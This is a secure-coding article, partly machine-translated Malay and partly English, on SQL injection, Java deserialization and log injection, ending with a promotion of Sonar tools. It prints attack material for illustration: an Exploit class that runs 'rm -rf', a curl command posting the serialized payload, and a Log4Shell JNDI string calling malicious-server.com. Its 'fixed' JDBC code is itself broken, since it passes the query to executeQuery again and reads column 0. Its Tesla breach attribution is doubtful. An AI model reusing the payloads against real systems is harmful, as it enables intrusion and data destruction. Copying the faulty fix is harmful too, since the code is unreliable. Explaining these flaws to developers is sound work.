Pada tahun 2019, pelanggaran terkenal dalam Fortnite, permainan terkenal, dilaporkan menyebabkan berjuta-juta pemain berisiko terkena perisian hasad. Insiden itu menyerlahkan kepentingan untuk mengamankan pangkalan data SQL dengan betul.
Tetapi ini bukan isu terpencil.
Berbilang serangan yang melibatkan suntikan SQL telah berlaku, seperti yang dialami Tesla pada 2018. Dalam kes itu, satu lagi serangan suntikan SQL menjejaskan konsol Kubernetes Tesla, menyebabkan kerugian kewangan akibat aktiviti perlombongan kripto tanpa kebenaran.
Tetapi ini bukan sahaja mengenai SQL Injection.
Terdapat vektor serangan lain yang boleh dialami oleh kod anda sekarang, seperti yang dialami oleh syarikat besar pada masa lalu.
Sebagai yang pada tahun 2021 dalam perpustakaan Log4J yang dipanggil Log4Shell yang melibatkan serangan suntikan pembalakan yang memberi kesan kepada berjuta-juta pelayan di seluruh dunia sehingga hari ini, atau yang pada 2022 di Atlassian Jira yang melibatkan serangan penyahserikatan yang memberi kesan kepada pelbagai versi Jira yang mengakui sepenuhnya kawalan kepada penyerang.
Ia boleh berlaku kepada sesiapa sahaja, malah kepada anda.
Dalam artikel ini, saya akan membincangkan 3 serangan paling biasa dalam kod: suntikan SQL, Suntikan Penyahserikatan dan Suntikan Pembalakan, dan cara menyelesaikannya.
Aplikasi yang menyimpan maklumat dalam pangkalan data sering menggunakan nilai yang dijana pengguna untuk menyemak kebenaran, menyimpan maklumat atau hanya mendapatkan semula data yang disimpan dalam jadual, dokumen, titik, nod, dll.
Pada masa itu, apabila aplikasi kami menggunakan nilai tersebut, penggunaan yang tidak wajar boleh membenarkan penyerang memperkenalkan pertanyaan tambahan yang dihantar ke pangkalan data untuk mendapatkan semula nilai yang tidak dibenarkan atau mengubah suai jadual tersebut untuk mendapatkan akses.
Kod berikut mendapatkan semula pengguna daripada pangkalan data dengan mengambil kira nama pengguna yang disediakan dalam halaman log masuk. Semuanya nampak baik-baik saja.
public List findUsers(String user, String pass) throws Exception { String query = "SELECT userid FROM users " + "WHERE username='" + user + "' AND password='" + pass + "'"; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query); List users = new ArrayList(); while (resultSet.next()) { users.add(resultSet.getString(0)); } return users; }
Walau bagaimanapun, apabila penyerang menggunakan teknik suntikan, kod ini, menggunakan interpolasi rentetan, akan menghasilkan hasil yang tidak dijangka, membolehkan penyerang melog masuk ke dalam aplikasi.
Untuk menyelesaikan masalah ini, kami akan menukar pendekatan ini daripada menggunakan penggabungan rentetan kepada suntikan parameter. Sebenarnya, penggabungan rentetan secara amnya adalah idea yang tidak baik, dari segi prestasi dan keselamatan.
String query = "SELECT userid FROM users " + "WHERE username='" + user + "' AND password='" + pass + "'";
Menukar kemasukan nilai parameter terus dalam String SQL, kepada parameter yang boleh kita rujuk kemudian akan menyelesaikan masalah pertanyaan yang digodam.
String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
Kod tetap kami akan kelihatan seperti ini, dengan prepareStatement dan tetapan nilai untuk setiap parameter.
public List findUsers(String user, String pass) throws Exception { String query = "SELECT userid FROM users WHERE username = ? AND password = ?"; try (PreparedStatement statement = connection.prepareStatement(query)) { statement.setString(1, user); statement.setString(2, pass); ResultSet resultSet = statement.executeQuery(query); List users = new ArrayList(); while (resultSet.next()) { users.add(resultSet.getString(0)); } return users; } }
Peraturan SonarQube dan SonarCloud yang membantu mengesan kelemahan suntikan SQL boleh didapati di sini
Deserialisasi ialah proses menukar data daripada format bersiri (seperti strim bait, rentetan atau fail) kembali kepada objek atau struktur data yang boleh digunakan oleh atur cara.
Penggunaan biasa penyahserikatan termasuk data yang dihantar antara API dan perkhidmatan Web dalam bentuk struktur JSON, atau dalam aplikasi moden menggunakan RPC (Panggilan Prosedur Jauh) dalam bentuk mesej protobuf.
Menukar muatan mesej kepada Objek boleh melibatkan kerentanan yang serius jika tiada langkah pembersihan atau pemeriksaan dilaksanakan.
protected void doGet(HttpServletRequest request, HttpServletResponse response) { ServletInputStream servletIS = request.getInputStream(); ObjectInputStream objectIS = new ObjectInputStream(servletIS); User user = (User) objectIS.readObject(); } class User implements Serializable { private static final long serialVersionUID = 1L; private String name; public User(String name) { this.name = name; } public String getName() { return name; } }
Kami dapat melihat di sini bahawa kami menggunakan objectIS, nilai langsung yang datang daripada pengguna dalam aliran input permintaan dan menukarnya kepada objek baharu.
Kami menjangkakan bahawa nilai akan sentiasa menjadi salah satu kelas yang digunakan oleh aplikasi kami. Sudah tentu, pelanggan kami tidak akan menghantar apa-apa lagi, bukan? Adakah mereka?
Tetapi bagaimana jika pelanggan berniat jahat menghantar kelas lain dalam permintaan itu?
public class Exploit implements Serializable { private static final long serialVersionUID = 1L; public Exploit() { // Malicious action: Delete a file try { Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt"); } catch (Exception e) { e.printStackTrace(); } } }
Dalam kes ini, kami mempunyai kelas yang memadamkan fail semasa pembina lalai, yang akan berlaku pada panggilan readObject sebelumnya.
Penyerang hanya perlu menyusun kelas ini dan menghantarnya ke API :
Exploit exploit = new Exploit(); FileOutputStream fileOut = new FileOutputStream("exploit.ser"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(exploit); ... $ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user
Nasib baik, ada cara mudah untuk membetulkannya. Kita perlu menyemak sama ada kelas yang akan dinyahsiri adalah daripada salah satu jenis yang dibenarkan sebelum mencipta objek.
Dalam kod di atas, kami telah mencipta ObjectInputStream baharu dengan kaedah "resolveClass" ditindih yang mengandungi semakan pada nama kelas. Kami menggunakan kelas baharu ini, SecureObjectInputStream, untuk mendapatkan aliran objek. Tetapi kami menyertakan semakan senarai yang dibenarkan sebelum membaca strim ke dalam objek (Pengguna).
public class SecureObjectInputStream extends ObjectInputStream { private static final Set ALLOWED_CLASSES = Set.of(User.class.getName()); @Override protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { if (!ALLOWED_CLASSES.contains(osc.getName())) { throw new InvalidClassException("Unauthorized deserialization", osc.getName()); } return super.resolveClass(osc); } } ... public class RequestProcessor { protected void doGet(HttpServletRequest request, HttpServletResponse response) { ServletInputStream servletIS = request.getInputStream(); ObjectInputStream objectIS = new SecureObjectInputStream(servletIS); User input = (User) objectIS.readObject(); } }
Peraturan SonarCloud/SonarQube dan SonarLint yang membantu mengesan kelemahan suntikan penyahserikatan boleh didapati di sini
A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.
Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.
But, they can also become an attack vector.
Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.
We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.
Let’s consider the following code, where we take a value from the user and log it.
public void doGet(HttpServletRequest request, HttpServletResponse response) { String user = request.getParameter("user"); if (user != null){ logger.log(Level.INFO, "User: {0} login in", user); } }
It looks harmless, right?
But what if the attacker tries to log in with this user?
john login in\n2024-08-19 12:34:56 INFO User 'admin' login in
It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused
2024-08-19 12:34:56 INFO User 'john' login in 2024-08-19 12:34:56 ERROR User 'admin' login in
Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.
$ { jndi:ldap://malicious-server.com/a}
But we can prevent these issues easily.
Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.
// Log the sanitised username String user = sanitiseInput(request.getParameter("user")); } private String sanitiseInput(String input) { // Replace newline and carriage return characters with a safe placeholder if (input != null) { input = input.replaceAll("[\\n\\r]", "_"); } return input; }
The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.
2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in
In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.
-Dlog4j2.formatMsgNoLookups=true
If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.
public class AllowedlistJndiContextFactory implements InitialContextFactory { // Define your list of allowed JNDI URLs private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList( "ldap://trusted-server.com", "ldaps://secure-server.com" ); @Override public Context getInitialContext(Hashtable environment) throws NamingException { String providerUrl = (String) environment.get(Context.PROVIDER_URL); if (isAllowed(providerUrl)) { return new InitialContext(environment); } else { throw new NamingException("JNDI lookup " + providerUrl + " not allowed"); } } private boolean isAllowed(String url) { if (url == null) { return false; } for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) { if (url.startsWith(allowedPrefix)) { return true; } } return false; } }
And configure our system to use the filtering context factory.
-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory
The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here
Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.
From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.
By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.
Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.
Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.
Atas ialah kandungan terperinci Kelemahan Keselamatan Teratas yang tersembunyi dalam kod anda sekarang - dan cara membetulkannya. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!